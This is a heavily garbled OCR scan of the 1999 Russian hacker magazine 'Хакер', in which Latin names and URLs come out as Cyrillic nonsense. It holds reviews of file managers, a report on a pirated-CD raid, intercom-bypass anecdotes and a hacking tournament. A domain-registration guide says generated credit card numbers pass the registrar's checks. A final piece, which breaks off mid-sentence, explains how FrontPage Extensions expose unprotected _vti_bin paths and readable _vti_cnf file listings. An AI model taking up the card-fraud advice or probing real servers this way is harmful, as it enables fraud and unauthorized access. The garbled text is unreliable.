Аза Оо|$ — те же девочки-азиатки, что 
ис Азат ЕзНееп, только в данном слу- 
чае: работают профессионалки-стрип- 
тизершйостарше и возбуждают пок- 
руче. В общей дотого, что-оно халяв- 
ное да и лежитна ``" ГИ и 
ВНр://\\и\.азао!$.сот. › <. / 
Оайу Ата!еуг$ — девчонки абсолютно 
различных возрастов, обожающие 
представать перед-зрителями полнос- 
тью в` обнаженном виде; совать пальчи- 
ки куда ненадо и, вообще, вести себя 
как грязные содомские развратницы. 
Кого возбуждает —> о 
ВНр:/ /\м\им. дайуата!еуг&: -согт. 
ЗНИу Май — солидного возраста де- 
вушки, точнее, их нижние части тел. 
Возраст колеблется от 25.до 45 лет, ' 
что возбудит разве что мелких юнцов: 
` Противно, на самом ‚деле, подписы- 

ваться не рекомендуется. Но извра- 
щенцев просим на 

БИрУ/ /му\.$ННутай. сот» 
Нувотпбжалуй, и все ‘о халявном 
порно, рассылаемом через 
е-тай. Напоследок могу 
лишь посоветовать ни в коем 
случае’не пользоваться этими 
службами; а пойти_на диско- 
теку, подцепить какую-нибудь 
клевую.девчонку`и-оторваться 
сней по полной программе! 
З.Ы. И не забудь-про ящик 
Ше5Уе$ (Ригех, Егор, Ванько- 
встанька — нужное подчер- 
кнуть...)! 


РС ГопЕ 


Х — СПЕ] 


ТогсКк фогск@хаКЕр.ги) 


БЕ приятель, если ты сейчас бу- 
дешь спрашивать, что такое шеллы, 
сразу перелистывай страницу и иди чи- 
тай очередное «как поиметь», потому 
что ЭТА статья куда важнее/нужнее 
твоих «имеловок». Ну ладно, раз уж ты 
заинтересовался, объясню: шеллы — 
это программы, которые представляют 
твой хард-диск и другие накопители ин- 
формации в более удобном свете, чем 
это делает РО$ или Виндовс (виндов- 
ский Ехрогег, на самом деле, тоже 
шелл, только отстойный), и позволяют 
производить операции с файлами и 
дисками — это их основная функция. 
Еще одной особенностью шеллов яв- 
ляется наличие всякой всячины по ме- 
лочам — разных удобных функций и 
примочек. Вот по этим-то мелочам и 

‘дем определять важность аКа полез- 
ность той или иной оболочки. 


№ г{оп Соттапдег 5.0 

Ну кто не помнит старого доброго 
Нортона, версии пятой или четвертой, 
или третьей даже... Да, достоинств-то 
почти никаких, за исключением того, 
что копирование производится без ис- 
пользования буфера — стало быть, 
быстрее, хотя менее надежно. Един- 
ственное достоинство — запуск под 


„юбой ОС. Основной недостаток: для 
вскрытия по гексам необходимы внеш- 
ние программы, к тому же слишком 
много места занимает — в районе пяти 
мегов. Симантек заниматься обновле- 
нием Нортон Коммандера не хочет, 
поэтому шелл этот устарел сильно, есть 
варианты и получше. 


\Мошко\у СоттапдЕг 4.99 


Любят же наши хохловатые друзья идеи 
«одалживать»! То игру какую сделают, 
слизанную с западного прототипа, то 
вот шелл напишут. Правда, шелл 

этот — из рук вон плохо сляпан. Поло- 
вина функций отсутствует. То есть так: 
написано в панели внизу, что АН+Е7 
есть «поиск файла». Можешь хоть до 
седьмого пота наобжиматься — ничего 
не произойдет. Слава Богу, оставили 
основные функции: копирование, пе- 
реименование, удаление. Главный во 


04 


всем этом плюс: сэкономленное место. 
Очень удобно при переинсталляции 
системы — шелл подходит под любую 
систему и уж тем более — под ДОС с 
дискетки. 


РАВ 1.52 


Евгений Рошаль вообще на своем веку 
много чего написал. И знаменитый 
КАВ/МИ КАК, и вот еще РАК — как он 
его называет — Ре апа АгсБуе тапад- 
ег. Типичный шелл, короче говоря. 


Главная особенность: видит длинные 
виндовые файлы (первая причина, по- 
чему я держу его на винте и, тем более, 
пометил Но} Кеу в виндах). А к этому 
еще огромное количество плаг-инов: 
один позволяет с локальной сетью, 
другой — работать с фтп (вторая при- 
чина), третий — попросту создает вре- 
менной диск. Плюс расширенные воз- 
можности работы с архивами и воз- 
можность двигать панели для просмот- 
ра совсем уж длинных имен. Самый что 
ни на есть минус: работает под винда- 
ми оп. Оно и понятно — сетка, ЕТР, 
длинные имена... 

В общем, тиз{ Вауе! 


00$ Мамюатог |.5 


Без преувеличения: ребята из ЕП 1аБ$ 
создали шедевр. Примерно так: пред- 
ставь себе Нортон с возможностью 

разделять расширения по цветом, воз- 


можностью создания временного дис- 


ка, блокнот, открываемый одной ком- 
бинацией, в который можно записать 
что-нибудь, а потом той же комбина- 
цией посмотреть записанное. Цветовая 
палитра сильно отличается от предла- 
гаемой в Нортоне. Удобное по отно- 
шению к юзеру меню расширений, 
классный интерфейс, встроенный ре- 
дактор Нех/АЗСИ. А утилит-то сколько! 
От калькулятора до СР-плейера, плюс 
терминалка и еще много чего. В об- 
щем, РО$ Маудатюг у меня тоже поме- 


чен особой комбинацией, так что я мо- 
гу вызвать его из любой точки этой чер- 


товой ОС. 


МИпаош$ СоттапдЕг 5.52 
Забавная штука. Заставляет вспомнить 
старые добрые времена У\Мтдо\$ З.хх 
с ее встроенным Ейе Мападег. Две поа- 
нели, стилизованные под ВыньДос, 
удобная система хранения файлов. 
Неприятность в том, что чем выше раз- 
решение, тем мельче иконки файлов. 
Но есть и приятные фичи: СМ+стрелка 
открывает содержимое директории, на 
которую наведен курсор, в соответ- 
ствующем окне. Прямо как в старом 
Диспетчере Файлов! Плюсы в виде сет- 
ки, ЕТР, поддержки русского языка... 
Но и не без минусов. Раздражает то, 
что курсор не выделяет файл, а лишь 
обрамляет его. Двойной клик застав- 
ляет Винды открыть своим способом, а 
ЕЗ — встроенным вьювером \У/тао\$ 


реа 
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ГЗПросшир _ #4 Прыша — РБКышю | 


Соттапаег — все это очень неудобно. 
Короче, не совсем туз Вауе. Но ли- 
цам, привыкшим к Виндовсу — реко- 
мендуется. 


СоппеСЁ: ТВЕ 1ВМ 
Напд$рРакКЕг 7/50 


Этот шелл — редкость: ко мне он попал 
случайно, да и ни у кого из своих прия- 
телей я его никогда не видел. Гремучая 
смесь ОМ и ЕАК — настоящая кул-хац- 
керская штуковина. Поддерживает 
длинные имена, работает с Мсгозой 
С1рБоага и при этом имеет фактически 
весь набор ОМовских и ЕАКовских при- 
мочек — от СО-плеера до терминалки. 
Да и выглядит почти так же, как пресло- 
вутый ОМ (хотя система визуальных 
настроек, на самом деле, очень гиб- 
кая). Работает под любой ОС. Клевая 
вещь. Муз! Вауе. 


В общем, итоги такие: что понрави- 
лось, выбирай, что не понравилось — 
жди следующей версии. А вообще, я бы 
посоветовал тебе держать при себе 
РАВ, ОМ и, конечно, Соппес. 
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пиратством" 


Компьютерное пиратство преследуется ЗА! ОНОМ РФ 
По итогом ушедшего года борьба с пират у 
приобрела более масштабную форму: ’ \ 
` изъято контрафактной продукции - бол е о 000 
нелегальных копий "” 
‘ проведена огромная профилактическая работа 
‘ наработана практика ведения судопро 
по авторскому праву 
- привлечены к уголовной и админиётративной 
ответственности 168 человек - нарушителей 
авторского права 


"Ассоциация по борьбе с компьютерным 


„к, 
©" 


мимим/.е15ра.ги 


Х-Верогт 


Бульдозером - посамому святому | 


П ока наши «сверстники» из «брат- 
ских» стран НАТО ожидали очеред- 
ной игровой новинки, устраивая слэмы у 
компьютерных супермаркетов, наши же 
ребята ехали в Митино и там закупались 
всем этим добром за куда меньшие день- 
ги. Да и вроде все нормально, все как 
обычно, только вкрались некоторые сом- 
нения в великом будущем пиратского 
ПО. Случилось это во время жестокого 
избиения мамок \/т(Н`ом, более из- 
вестного в России как Чернобыль. 
Произошло это 26 апреля сего года, 
благо тогда я был отстранен от своего 
железного друга и заразу выловил чуть 
позже. Но сколько компов опустил этот 
вирус® Много. И считать как-то даже не 
хочется. Ладно, хватит про вирусы — 
сейчас мы не об этом. Но все же я 
вспомнил про винчиха не просто так: на 
многих народно любимых дисках с гор- 

хи эта дрянь живет и по сей день. А 
еще тут как-то я прикупил болванку с 
новыми хацкерскими прогами и заметил 
странную особенность данного диска: 9 
зараженных прог различными вирусами, 
а влюбимых мною троянах — аккуратно 
клиенты заменены на сервера... Кстати, 
там же, на Горбушке, я нашел компакт 
«Хакер», на котором были три выпуска 
нашего журнала. Только вот половина (|!!!) 
прог с этого диска была заражена троя- 
нами :(. Но вдруг бальзам на мою душу, 
искореженную кривыми прогами — пол- 
ноценный лицензионный диск всего за 60 
рублей — НММЗ. И подумалось мне, что 
наступит то время, когда за приемлемую 
сумму я смогу получить полноценные дис- 
ки. Только оторвавшись от столь прият- 
ной мысли, я включил ящик, где показыва- 
ли «Дежурную часть». Но и тут мысль о 
легальном ПО настигла меня: «ДЧ» рас- 
сказывала про взятие склада варезных 
дисков в количестве пятисот тысяч. По 
причине неординарности данного собы- 

я для альтернативной компьютерной 
жизни Х решил тебе подробно расска- 
зать о том, что было, что есть. 


Маски — шоу 
Любят журналисты красивые яркие слова, 
я тоже не буду нарушать сложившееся и 


назову середину лета — знаменательным 
днем, не только из— за того, что это се- 
редина лета и каникул, но и по причине 
проведения в этот день операции по взя- 
тию склада с пиратскими дисками. Склад 
взяли 15 июля 1999 года после долгой 
разработки конторы, занимавшейся ва- 
резом. Подготовкой и проведением опе- 


рации занимались сотрудники Управле- 
ния по борьбе с преступлениями в сфере 
высоких технологий, я сам долго не мог 
запомнить название данной структуры, 
но это не столь важно, УБПСВТ — такое 
же подразделение МВД, как УЭП или РУ- 
БОП. Склад пиратского ПО находился на 
территории общества с ограниченной от- 
ветственностью «Медиа паблишинг». Под 
слащавым буржуйским названием скры- 
вался синдикат организованной преступ- 
ности — «Маросейка» ©. Те, кто часто 
бывает на митьке или горбушке, неоднок- 
ратно слышали об этом влиятельном пос- 
тавщике. «Маросейка» во многом кон- 
тролирует ценовую политику — по причи- 
не крупной доли в товарообороте неле- 
гального ПО Москвы. Склад «Медиа паб- 
лишинг» располагался на улице Фридри- 
ха Энгельса 3/5, этот адрес никак не был 
законспирирован, что также способство- 
вало удачному проведению операции по 
изъему. На Энгельса ездила масса тор- 
говцев с рынков для получения новой 
партии «одноглазых», непосредственно 
после ареста сотен тысяч дисков ты мог 


наблюдать некоторое уменьшение ас- 
сортимента вареза. Телевидение никогда 
особенно не отличалось правдивостью, а 
особенно сегодня. Телевизионщики лю- 
бят рисовать страшные картины работы 
опергрупп во время проведения ударных 
акций: всех налево направо мочат, кому 
по башке прикладом дадут, кому ногу 
оторвут, а те, кто останется в живых — 
полгода лежат на больничных койках, 
ожидая отправки в места не отдаленные. 
Может, конечно, так и бывает, но на 
«Маросейке» все было тихо и культурно: 
пришли накаченные ребята в масках и со 
стволами, предъявили корочки и «вежли- 
во» попросили объяснить происхождение 
контрафактных дисков. В ответ получили 
классику российской несознанки — это 
все не мы, это одноногий — он ускакал, а 


диски — новая суперразработка китай- 
ских умельцев, мега-ультра подставки под 
чайники, а полиграфические вкладыши — 
символ международной дружбы России, 
Украины и Китая ©. Ну, ребята из спецот- 
ряда тоже не дети и из Слонопердянска 
не мигрировали — взяли варезников под 
белы рученьки (у них на складе много 
порнухи было ®)} и погрузили куда надо. 
Итого в результате рейда было взято 
полмиллиона болванок и не меньшее ко- 
личество прилагаемой полиграфии. Важ- 
ные припонтованные дядьки-эксперты 
сказали, что стоимость всей полученной 
продукции по ценам горбухи — превы- 
шает миллион долларов (!!!). Не буду пе- 
ресматривать их решение: не базарь- 
те — а то судимы будете ©, хотя есть не- 
которые сомнения в такой масштабности 
долларового улова. 


Уходя -— Гасчте всех! 
Пиратство в Росси появилось не вчера, и 
факты задержания пиратского софта да- 
леко не новы, другое дело, что столько 
дисков никогда не брали: максимально 
100 тыс., а так в среднем значительно 
меньше. То, что взяли столько вертушек, 
конечно, поразительно, но еще больше 
меня поразило решение суда в связи с 
контрафактностью дисков: арестованное 
подлежит уничтожению. Вообще, на са- 
мом деле ничего поразительного в реше- 
нии нет: легализовать варез нельзя, такое 
позволил себе только Китай, после чего 
полностью прекратилась китаизация (ти- 
па русификация токо для глазоузких) 
программного обеспечения и игрулек. 
Переработка скорее накладна и пробле- 
матична, а не выгодна: у нас десятилетия- 
ми смертельное оружие переработать не 
могут, и тем более до «дырявых» дело не 
дошло. В Управлении по Борьбе с Прес- 
туплениями в Сфере Высоких Технологий 
решили, что диски будут уничтожены в 
Подмосковье в Хметьево, и датировали 
столь необычное событие на 27 июля. Я, 
как гамер, юзер, ламерюзер, не мог не 
присутствовать на столь масштабной ак- 
ции и был откомандирован нашей доб- 
лестной редакцией на эту антиварезную 
тусню, в связи с чем поимел неслабый ги- 
мор, в общем, об изничтожении я тебе 
скину подробнее. 


О2-00. а.т. 


(Сижу я перед компом, никому не ме- 
шаю — сканер починяю, и только я зад- 
ремал, как моя айсука (СО) начинает ис- 
терично орать. Я уже схватил кувалду, 
чтобы монитор расколбасить, но вовремя 
заземлился. Достал любимый флудер и 


нюкер, чтобы позднего асечника пому- 


чить, но обломился — это меня вызывал 
на связь главред. Разумно прикинув, что 
его нючить и флудить не надо, да и вооб- 
ще редко его видно: постоянно в инви- 
зибле сидит, я и начал диалог. В общем, в 


боманьл 


у 


Ч 


2 часа ночи я получаю задание за 45 се- 
кунд собраться, одеться, побриться, под- 

шить воротничок и в 10 утра быть на пла- 
цу в полной боевой готовности ©. 


10-ОО.а.т. 


Наш самый игровой редактор (Денис Да- 
выдов}), я и банда из СИ собрались в кон- 
торе УБПСВТ. Думал я, что только нас 
там ждут и что только мы придем, как 


сразу погрузят нас в тачки с мигалками и 


сиренами и отвезут на полигон, где давят 
сидишники, и мы по ходу поговорим с ре- 


_бятами из управления, в общем, думали, 


все будет просто, а получилось ©. Зава- 


_ ливаем мы в отделение и видим: груда 


ящиков — все до краев наполнены верту- 
хами с Маросейки, и понял я, что попал: 
грузить все это добро придется нам. Бла- 
го, нам помогли ребята из АБКП (про них 
прочтешь отдельно), и процесс несколько 
ускорился. Итого мы перетаскали около 
400 тысяч болванок. Таранили долго и 
нудно, но теперь могу похвастаться, что Х 
перетащил около 200.000 дисков, т. е. 
300 тысяч баксов, по ценам митьки. А по 
ценам лицензионки — более 100 лимонов 
(111), а если взвесить по количеству инфы, 
то 100 тысяч гигабайт (100 миллиардов 
мегов}, в общем, ты понял, какие мыв Х 
все крутые ©. 


|2-ОО.а.т. 


Целиком забитый КамАЗ умчал на место 
дальнейшего захоронения, унося с собой 
мои грязные мысли о спасении вареза. 

А тем временем западные журналюги 
прониклись идеей и начали задавать всем 
подряд кучу очень интересных вопросов 
©. Наши пираты и борьба с оными прив- 
лекла их нездоровый интерес чрезвычай- 
но. В связи с чем пришлось долго отве- 
чать на их «оригинальные» вопросы типа: 
как страна (Россия) еще имеет наглость 
иметь пиратов и быть участником ООН?; 
зачем уничтожать столько дисков, ведь 
каждый стоит не меньше 30 долларов?; а 
что, русские пираты написали новую опе- 
рационную систему (смотрит на диск 


\У/Упаомз 50009)? Мы-то ладно, но осо- 
бенно досталось парням из АБКП: их 
буржуины морально имели зверски, кош- 
марили вопросами, а также требовали 
предъявить варез в натуральном виде, 
учили профессионалов, что защищать ли- 
цензионку надо совсем не так. Туристы 
поотстали и переключились на работни- 
ков МВД. А мы вто время погружались в 
микроавтобусы, «любезно» предостав- 
ленные московским представительством 
МелкоМягких, наверно, это был первый 
случай, пусть неискренней, но благодар- 
ности софтварному монстру. Доброта 


этой конторы навела на мысль о ее не- 


посредственном причастии к аресту и 
дальнейшему уничтожению сидюков: сре- 
ди сотен тысяч было замечено не мало 
носителей с Маздаем и прочей лабудой 
дяди Билли. Докидав остатки коробенций 
‚с дисками, затащились по тачкам, пред- 
вкушая острые ощущения массированно- 
го перелома. 


05-ОО.р.т. 


Не попал я в тачку с мигалками, но ив 
мелкософтовском автобусе быстро доб- 
рался до полигона, где планировалось 
уничтожение. Для особо хитрых, которые 


желают откопать со свалки битые и пиле- 


ные сидюки, скажу, что полигон называл- 
ся Хметьево, а находится приблизительно 
на 60-м километре ленинградки, в сол- 
нечногорском штате. 

Помимо нас на уничтожение приехала ку- 
ча телевизионщиков, и некоторым даже 


мы чуть в будку не дали, все для того, что- 
бы занять нужное место и сделать клевые 
фотки. А то как тебе, любознательный чи- 
татель, докажешь, что я там был, а нес 
девчонками в Нирване отдыхал, да и пе- 
ред теми же девчонками попонтоваться 
хотелось. Но самый слэм начался, когда с 
грузовика начали скидывать штыри с дис- 
ками и сами сидюки разбрасывать по 
свалке. Но Х — революционный проект, и 
мы с ДД, как часть той революции — 
прорвались в первые ряды и полезли в ку- 
зов скидывать варезные коробки (нас да- 
же засняли на этом процессе и по ящик 
крутили). На раскидывание ушло минут 
двадцать, потом всех несколько отстрани- 
ли и пустили на полигон железное чудови- 
ще «ТАНА», именем и внешним видом на- 
помнив знакомую девушку по имени «ТА- 
НЯ». Вот этот монстр — реальное вопло- 
щение страха пирата: настоящий кош- 
мар, при таком раскладе и Русский щит, и 
АБКП становятся не страшны. Своими ко- 
ванными, железными, нашипованными ко- 
лесами монстр изничтожал нежные блес- 
тящие под горячим солнцем вертушки. 
Кто-то из особо романтичных особ заме- 
тил в этом процессе аналогию с россий- 
ским пиратством: пока ни пришел сильный 
монстр, пираты свободно тусовались и 
клепали «одноглазых» с бешеной часто- 
той, но теперь все меняется, и, наверно, 
наступит новое время? Наверное... 


АБОО5 - ЭТО НЕ АБШАЗ! 


Ге" хацкер, это опять я беспокою 
твое убитое сознание. Ты наверняка 
помнишь мою статейку про домофоны, в 
которой я рассказывал самые основы за- 
падлостроения с этой фишкой. Данная 
статья стала неожиданно очень популяр- 
ной как со стороны читателей, так и сто- 
роны представителей фирмы «КАК- 
МАММ», о домофонах которой я и писал, 
но о них чуть ниже. Многие читатели про- | 
сят рассказать поподробней обо всех 

этих примочках, что я с удовольствием и 
делаю. Кстати, после выхода статъия = — 
стал замечать, как люди просто в наглую 
стоят и моим способом открывают двери. 


Хакер 8/ ‘99 НЁр://шшш.хаКЕр.ги 


МОЖНО ЖЕИ ПО МОРДЕ ЛИЦА ПО- 
ЛУЧИТЬ ЗА ТАКОЕ ХАМСТВО ОТ ХО- 
ЗЯИНОВ КВАРТИР ПОДЪЕЗДА!! Акку- 
ратней надо, аккуратней, а то я уже ви- 
дел, как какого-то кульного хацкера, ко- 
торого били физиономией о дверь домо- 
фона, на котором горело [Р— -1]. Глав- 
ная черта любого нормального хацке- 

ра — осторожность, не надо забывать об 
этом. Ладно, переходим к сути. 

Есть такие домофоны, называются «КАЙМ- 
МАММ», смотрите внимательно, не 
«ВАКМАММ», а именно «КАММАММ.. 
Так вот, на этих домофонах есть код, ко- 
‘торый пропускает тебя в меню установ- 


щика, через которое ты можешь сделать 
с домофоном практически все, что нужно. 
Мы подробно писали об этих кодах нес- 
колько номеров назад. 

Через пару дней после выхода статьи в 
свет мне позвонил наш главред и сооб- 
щил, что представители фирмы «КАК- 
МАММ» хотят с нами встретиться и что у 


них очень серьезные намерения по отно- 


шению ко мне и журналу :(. Я позвонил 
директору этой компании, который пред- 
ложил мне подъехать к нему в офис и на 
его глазах ломать любой из представлен- 
ных домофонов. Я, ясное дело, отказался 
(естественно, что они перепрограмми- 


ОГУ 


Х-Верогт 


руют все коды прямо перед моим приез- 
дом!) и предложил встретиться на ней- 
тральной территории, то есть ближе к 
моему дому ©. На эту встречу приехал и 
наш главред Сергей Покровский, чтобы 
поддержать меня в разговоре. Приехав- 
ший чуть позже директор сказал, что та- 
ким способов домофоны его фирмы не 
могут взломаться и потребовал опровер- 
жения статьи. После этих слов мы предло- 
жили ему проехать к ближайшему подъез- 
ду, на котором стоит подобный домофон. 
После того как я открыл дверь с таким 
домофоном прям на глазах этих ребят, 
директор чуть ни завалился прям перед 


подъездом и сразу назначил экспертизу 
домофона, Покровский настоял на на- 
шем участии в этой экспертизе. Предста- 
витель компании снял домофон, разоб- 
рал его, снял панель и... Экспертиза на 
самом деле доказала, что этот домофон 
не является произведением фирмы «КАК- 
МАММ», а является подделкой, на кото- 
рой просто стоит крышка настоящих до- 
мофонов «КАКМАММ». Директор этой 
компании объяснил, что они являются од- 
ним из самых крупных торговцев в данной 
области, и как это всегда бывает, много 
уродов стало под них косить. Например, 
появилась компания «КАММАММ» (похо- 


жее название, не правда ли? @)}, которая 
просто в наглую скачала всю их програм- 
му и исправила несколько байтиков, чем 
и открыла ту дырку, которую я вам опи- 
сал. Так что если моя фишка работает, то 
это домофон-подделка. Впрочем, вам-то 
все равно, насколько я понимаю. Но вот 
если в вашем подъезде постоянно кто-то 
перепрограммирует домофон и создает 
проблемы, то исправить этот баг можно 
позвонив в представительство «КАК- 
МАММ» (ууу. гайтапп.ги или по тел: 
(095) 270-7849, 270-7850, 270-7869). 


92-7" 


Наск {ВЕ Х!. 


` под (поюд@хакер.ми) р 


Восьмого августа сего года в московском 
клубе «Нирвана» прошел первый в Рос- 
сии турнир по хаку. Напомню: соревную- 
щиеся должны были на скорость взломать 
с удаленной машины специально выде- 
ленный сервак и заменить единственный 
Вн|-файл на свой собственный «НАСКЕР 
ВУ...». Чемпионат собрал в клубе кучу 
разношерстного народа: одни пришли 
хакать, другие посмотреть, а третьи — 
вообще просто поиграть (они, бедные, не 
знали, что места за компами с шести ча- 
сов не продаются). Интересно заметить, 
что в день чемпионата редакцию просто 
завалили звонками с вопросом, где эта 
самая «Нирвана» находится. Первым 
двум позвонившим предельно вежливо 
объяснили, где это, остальным был назван 
сайт «Нирваны» со всеми адресами, схе- 
мами и прочей лабудой для «мы сами не 
местные». 
Все электронные заявки на турнир были 
Эраны в последний день в одну боль- 
_ ‚Ю кучу, их оказалось пятьдесят девять. 
Но, уже в «Нирване», выяснилось, что 
большая часть людей, пришедших на тур- 
нир, не 
регистри- 
ровалась 
вообще 


никак — впрочем, ничего страшного в 

_ этом не было, все вновь прибывшие _ 

_ кул-хацкеры были внесены в список, 
все уже было готово к началу турни- 
ра и... - 
И туг началось. В клубе «положили» 
Инет. В принципе — это был ннш  — 
просчет, т.е. просчет организации — 
о безопасности взламываемого сер-_ 
вака мы позаботились, а вото безо- 
пасности самого клуба — фактически 
нет. Инет поднимали полчаса: все ад-_ 
мины бегали кругами, предвкушая | 
завтрашнее увольнение, а директор 


клуба Виталик буквально зубами дер — 


жал связь. Сквозь зубы, впрочем, отчетли- 
во было слышно много разных добрых 
слов в адрес чемпионата, админов, ди- 
версантов, сломавших Инет, и утреннего 
солнца, которое назавтра встанет в пос- 
ледний раз. 

Когда Инет, наконец, поднялся благодаря 
самоотверженному экшену «Нирванов- 
цев», чемпионат начался (‹...пока еще раз 
не положили»). Прибывшие были рассаже- 
ны, пересчитаны и оставлены в покое. Пе- 
ресчет, кстати, показал, что из тех, кто за- 
регистрился по емайлу, не пришел почти 
никто, а уже через пять минут выяснилось, 
что из тех, кто сидит за машинами, делом 
занимаются всего десять человек. Они, 
фактически, и составили кернел турнира. 


Время шло. Сервак временами вис, но не 
ломался, хакеры пыхтели над ТепеГами и 
Мезсап’ами, админы поддерживали Инет 
под руки, чтоб тот не упал еще раз. Ког- 
да терпение общественности подошло к 
концу, стало ясно, что победил в чемпио- 
нате сисадмин Борис Скворцов — созда- 
тель не ломаемого сервера, спортсмен, 
комсомолец и вообще муж своей жены. 
Но ему, по понятным причинам, мы приз 
вручать не стали. Условные победители =. 
по уровню старательности — были тут же 
определены из числа участников. Первый 
приз — пару «Камелотов» и ТУ-Типег — 
получил парень по имени У\еБз$ег, он, по 
любому, старался больше всех. А второе 
и третье места заняли ОеНа и Аист — эти 
двое получили, соответственно, 
\Уоодоо3 АСР и Мощедо!-аудио. Ос- 
| тальным достались поощрительные 
боксы с играми и софтом, а всем окру- 
жающим была роздана пачка Х и пос- 
теров. Все, кто не ушли, отправились 
квасить в бар «Нирваны», а админы, 
обтирая пот с висков, начали устра- 
нять технические последствия мероп- 
риятия. 

Так вот, тихо и без затей, прошел пер- 
вый в России чемпионат по хаку. Но... 
будет и второй. Обязательно. По лю- 


бому. 
Хх 


ВР" 
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ВНИМАНИЕ 


супермодных 

Пришлите на 

1-й вопрос: Пер’ 

магазинах. САМ ‚ 2% 
2-й вопрос: Скалы В `омйй в оамаы слово «хакер»? 
Если ты попайе® | р 

приславших пВаВйВейЕ 

то получае 

выбрать вк 


Кчастливч 


Присылайте письма до 20 сентября, Рефультаты 
конкурса ‘будут объявлены в 9-м номёре ХАКЕРА: 
Письма присылайте по адресу: 

101000, Москва, Главпочтамп, а/я 652, Хакер 

(Конкурс Сате!о*) 

Шлите письма также и по е-тай: аа ти ! 
(сиБуеКЕ: Конкурс Сате!о*) 


рр. 


Магазины Сате!о*: 
Центр, ул. Никольская, 11/13, стр. 3, тел.: 298 -3855 
ВВЦ, пав. «Москва» 2-й этаж, тел.: 974 -7779 


Взпом 


Попчучи домен на Хапяв 


Ва (шеБтазег@сооги.пЕ®) 
а 


ы у что, дружище, у тебя все еще ад- 
рес уму. сВа!ги/-риркт? Не беда! 
В этом номере я расскажу тебе, как полу- 
чить домен типа Ум. апуйтад.сот, 
ими. апуйта.ога, ум. апуйтд.пей (Для 
тех, кто в танке: вместо апу та будет 
твое название!) Ну ты, конечно, не соби- 
раешься платить деньги за сайт, поэтому 
мы сделаем одну штуку: поставим на 
твоем новом сайте переадресацию на 
твою старую домашнюю страничку! То 
есть юзер наберет ум. рирЁт.сот (и по- 
думает: «какое крутое имя!), а сервак 
загрузит домашнюю страницу с твоего 
сайта с длинным именем! 
Есть много компаний, которые предла- 
гают такую услугу, но я расскажу тебе 
{атеЗесиге. Мой сайт уму. соо/ги. 
пеЁчислится на ней. Эта контора обес- 
печивает очень быструю переадреса- 
цию, плюс дает тебе мыло типа 
уазуа@рирКт.сот. На самом деле она 
переадресовывает твою почту на твой 
реальный адрес. Но есть одно но! Тебе 
придется подождать где-то день, а то и 
больше, пока тебе создадут виртуаль- 


ный домен. Но, я думаю, что это стоит 
каких-то 24 часов! 


@ЕПНЕТЕП, 


<{аг{ уоуг ЕП ПЕ! 

ОК! Поехали. Загружаем броузер, пи- 
шем адрес: у\уу/латезесиге.сот . Сна- 
чала нам предстоит определить, не за- 
нял ли наш домен какой-нибудь Иван 
Петрович. Для этого кликаем на 
МатеСКеск (слева есть такая кнопоч- 
ка), в синем окошке пишем имя домена, 
которое нам предстоит занять, и тип 
сайта (.сот, .ога, .пе!) и кликаем на 
МатеСвКеск. В новом окне появился 
список доступных доменов; если домен 
занят, то сервер напишет «$ по! ауай- 
аЫе», если свободен — «1 ауайаЫе. 
Кед!$!ег # по\» Вот на «Кед!ег # по\/» 
ты и щелкаешь. В появившемся окне 
кликай на Меуу Сизютегз. Следующую 
анкетку заполняй левыми данными, а 
вот е-тай пиши обязательно свой (но 
желательно не провайдерский). Если ты 
все сделал правильно — попадаешь на 
следующий этап. Здесь тебе нужно 
ввести, куда будет перенаправляться 
вся почта с что-угодно@твой-домен.тип 


и куда попадет пользователь после за- 
хода на твой новый домен. 

Заполняешь форму и кликаешь на 
(СопНпие. А вот тут тебе предстоит 
ввести кредитку. Облом, да? Для кого 
как. Система безопасности на сайте 
левенькая, так что у них проходят даже 
сгенеренные креды. Причем я там заре- 
гистрировался достаточно давно, а до- 
мен мой все еще работает. В общем, 
как говорится, возможны варианты. © 


Даодте! 

Если все сделано — кликай Кед!ег ТВе 
Мате! Если в следующем окне появи- 
лось Уоуг ог4ег 1ю гед!Зег что-угод- 
но.тип аз ап |егпе! Чотат пате Каз 
Бееп гесе№еЧ ап4 Не гед!таНоп 
ргосез$ паз агеаду Бедип, значит, все 
получилось. Ура! Аплодисменты, цветы, 
буря оваций... А приблизительно через 
день ты получишь письмо с паролем 
для управления доменом. Если что не 
вышло — пиши мне на мыло. Только 
просьба — не присылай мне письма с 
просьбами помочь с кредиткой! © 
Удачных тебе взломов! Хх 


Глюки Егопраде 


Упеаг“ НЕО (упеаНеЧ46@тай.ги) 


Яве, что ты хоть раз, но слышал 
про Гготраде от Мелкомягкого. Не 
знаю, как ты сталкивался с этой програм- 
мой, то ли в качестве простого ХТМЛ ре- 
тора или же в ее полном исполнении 
гготраде Ежепз!опз (далее ЕЕ). 
ГЕ — это тот же редактор, но с больши- 
ми возможностями, то есть: ты не прос- 
то создаешь хтмл файлы у себя на 
своей хард винилке и потом закачи- 
ваешь их с помощью фтп клиента на 
зарезервированное место, а создаешь 
свою страничку, но отдаешь свой сайт 
в полное распоряжение ЕЕ (ЕЁ исполь- 
зуется, скорее, для обустройства сер- 
веров, а не хоумпаг. ЕЕ полностью 
контролирует созданный тобой сервер 
и даже сам закачивает созданные то- 
бой файлы для сервера в нужные мес- 
та. 


Как РЕ работает 
пру закачкЕ фацпов? 


Пытается получить информацию из су- 
ществующего файла ВЯр://муу.уоиг- 
Чотат.сот/_уН_тЕВнт о том, где рас- 
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положены основные файлы и Ыпагу ЕЕ. 
Потом идет попытка коннекта, чтобы 
положить все нужные файлы через 
ВНр://мммуоиг4отат.сот/_унН_Ьт/ 
зрнт(.ехе/_УН_грс (это по умолчанию 
написано в _УЙ_МЁВйт). Во все под- 
робности вникать не будем, просто я 
хочу сказать, что /_УН_грс возможно 
поставить после исполняемого файла 
$Ьнт|.ехе, так как директория _УН_Ыт 
не защищена паролем и чем-либо 
еще!!! 

После запроса (УН_грс} идет установка 
соединения между клиентом (тем, кто 
дома сидит и файлы хочет закачать) и 
сервером (ВЯр://муму.уоиг4отат.сот)} 
и выяснения возможностей сервера, 
какие файлы принимает, какие нет, что 
куда класть и т.д. Далее идет закачка 
всего, что нужно клиенту. 


Поехапи! (с) Гагарин 

Теперь веселые нюансы: ЕЕ создает в 
каждой директории файл _УН_сп в ко- 
тором перечисляются все файлы в дан- 
ной дире. А его можно спокойно прос- 
мотреть, просто поместив его имя в 
конце урла для нужной директории. 


С помощью перечисления списка диры 
в одном файле (который еще и прос- 
мотреть можно) ты можешь увидеть 
файлы в дир-иях, которые иначе не 
найдешь. Сечешь фишку? 

А теперь кульминация... Само собой, у 
РЕ имеется «защита» паролем. И зап- 
рос его происходит при запросе сое- 
динения 
(Рнр://имииусигаотат.сот/ ун_Ьт/ 
